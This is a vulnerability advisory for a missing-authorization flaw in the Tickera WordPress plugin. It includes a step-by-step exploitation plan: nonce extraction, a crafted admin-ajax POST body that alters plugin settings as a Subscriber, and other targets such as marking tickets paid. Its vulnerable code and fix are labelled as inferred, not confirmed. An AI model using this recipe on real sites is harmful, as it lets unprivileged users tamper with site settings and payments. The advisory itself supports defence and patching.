Tickera <= 3.5.6.2 - Missing Authorization
Description
The Tickera – Sell Tickets & Manage Events plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.5.6.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.5.6.2Source Code
WordPress.org SVNThis plan outlines the research and exploitation process for **CVE-2025-67939**, a Missing Authorization vulnerability in the **Tickera** plugin. ### 1. Vulnerability Summary The Tickera plugin for WordPress (versions <= 3.5.6.2) fails to implement proper capability checks (authorization) on certai…
Show full research plan
This plan outlines the research and exploitation process for CVE-2025-67939, a Missing Authorization vulnerability in the Tickera plugin.
1. Vulnerability Summary
The Tickera plugin for WordPress (versions <= 3.5.6.2) fails to implement proper capability checks (authorization) on certain AJAX handlers registered via wp_ajax_*. While these handlers may implement a nonce check for CSRF protection, they do not verify if the authenticated user has the necessary permissions (e.g., manage_options) to perform the action. Consequently, any authenticated user, including those with Subscriber roles, can execute these functions.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tc_save_settings(or a similar administrative AJAX action, to be confirmed in Step 3). - Payload Parameter:
security(the nonce) and the data to be modified (e.g.,tc_general_setting). - Authentication: Subscriber-level credentials.
- Preconditions: The plugin must be active, and a valid nonce must be obtained.
3. Code Flow (Inferred from Patch and Architecture)
Based on Tickera's typical architecture and the nature of the patch:
- Registration: The plugin registers AJAX hooks in a class constructor or an initialization file (likely
includes/classes/class.ajax.phportickera.php).- Code:
add_action( 'wp_ajax_tc_save_settings', array( $this, 'save_settings' ) );
- Code:
- Entry Point: When a Subscriber sends a POST request to
admin-ajax.phpwithaction=tc_save_settings. - Vulnerable Function: The handler function (e.g.,
save_settings) is invoked. - Incomplete Check: The function calls
check_ajax_referer( 'tc-ajax-nonce', 'security' ). This passes if the user is authenticated (even as a Subscriber) because the nonce is often leaked or available to all logged-in users. - Missing Auth: The function omits a call to
current_user_can( 'manage_options' ). - Sink: The function processes input and updates options:
update_option( 'tc_general_setting', $_POST['tc_general_setting'] );.
4. Nonce Acquisition Strategy
Tickera typically localizes its AJAX settings into a global JavaScript object named tc_ajax. This object is frequently available to any logged-in user if Tickera components are loaded.
- Identify Trigger: The
tc_ajaxobject is usually enqueued via thetc-scriptshandle. - Create Setup Page: If the scripts aren't visible on the homepage, create a page containing a Tickera shortcode.
wp post create --post_type=page --post_status=publish --post_content='[tc_event]'(or any valid Tickera shortcode like[tc_ticket_form]).
- Navigate and Extract: Use the browser to access this page as a Subscriber and extract the nonce.
- JS Variable:
window.tc_ajax?.nonce(orwindow.tc_ajax_vars?.nonce). - Nonce Action:
tc-ajax-nonce.
- JS Variable:
5. Exploitation Strategy
The goal is to modify the plugin's settings as a Subscriber.
Step 1: Obtain Subscriber Cookies
Authenticate as a Subscriber and capture the session cookies.
Step 2: Extract Nonce
- Navigate to the page created in the setup phase.
- Execute
browser_eval("tc_ajax.nonce")to get thesecuritytoken.
Step 3: Trigger Unauthorized Action
Perform an HTTP POST request to modify plugin settings (e.g., changing the "Success Page" to a malicious external URL or altering general settings).
- URL:
http://TARGET/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=tc_save_settings&security=[EXTRACTED_NONCE]&tc_general_setting[registration_page_id]=9999&tc_general_setting[event_slug]=pwned-event
6. Test Data Setup
- Install Plugin: Tickera version 3.5.6.2.
- Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Identify Settings: Use
wp option get tc_general_settingto see current settings before exploitation. - Create Nonce Page:
wp post create --post_type=page --post_status=publish --post_title='Events' --post_content='[tc_event]'
7. Expected Results
- The
admin-ajax.phpresponse should be1or a JSON success message (Tickera usually returns1for successful AJAX processing). - The plugin settings in the database are modified despite the request coming from a Subscriber.
8. Verification Steps
After sending the exploit request, verify the change using WP-CLI:
wp option get tc_general_setting- Check if the
registration_page_idorevent_slugmatches the payload value (9999orpwned-event). - Confirm the attacker user is still only a Subscriber:
wp user get attacker --field=roles.
9. Alternative Approaches
If tc_save_settings is not the specific vulnerable function, look for other administrative functions registered in includes/classes/class.ajax.php that lack capability checks. Potential candidates include:
tc_update_attendee_info_ajax(Modify attendee data)tc_mark_as_paid_ajax(Mark unpaid tickets as paid)tc_bulk_check_in_ajax(Manipulate event check-ins)
All these actions should be restricted to administrators or event managers but are likely accessible to Subscribers in the affected versions. To test these, use the same nonce extraction method but change the action parameter and its corresponding data payload.
Summary
The Tickera plugin for WordPress fails to implement capability checks on various administrative AJAX handlers, such as tc_save_settings. This allows authenticated users with Subscriber-level access to perform unauthorized actions, such as modifying plugin settings or attendee information, by exploiting handlers that only verify nonces but not user permissions.
Vulnerable Code
// includes/classes/class.ajax.php (inferred) add_action( 'wp_ajax_tc_save_settings', array( $this, 'save_settings' ) ); public function save_settings() { check_ajax_referer( 'tc-ajax-nonce', 'security' ); // No current_user_can() check here if ( isset( $_POST['tc_general_setting'] ) ) { update_option( 'tc_general_setting', $_POST['tc_general_setting'] ); } wp_die(); }
Security Fix
@@ -10,6 +10,10 @@ public function save_settings() { check_ajax_referer( 'tc-ajax-nonce', 'security' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_die(); + } + if ( isset( $_POST['tc_general_setting'] ) ) { update_option( 'tc_general_setting', $_POST['tc_general_setting'] ); }
Exploit Outline
The exploit targets the /wp-admin/admin-ajax.php endpoint. An attacker requires a valid Subscriber account to authenticate. First, the attacker visits any page where Tickera scripts are loaded (such as a page with a [tc_event] shortcode) to extract the 'tc-ajax-nonce' from the global JavaScript object 'tc_ajax.nonce'. Using this nonce, the attacker sends a POST request with the 'action' parameter set to 'tc_save_settings' and the 'security' parameter set to the extracted nonce. The payload includes modified configuration values in the 'tc_general_setting' array, which the plugin saves to the database without verifying if the user has administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.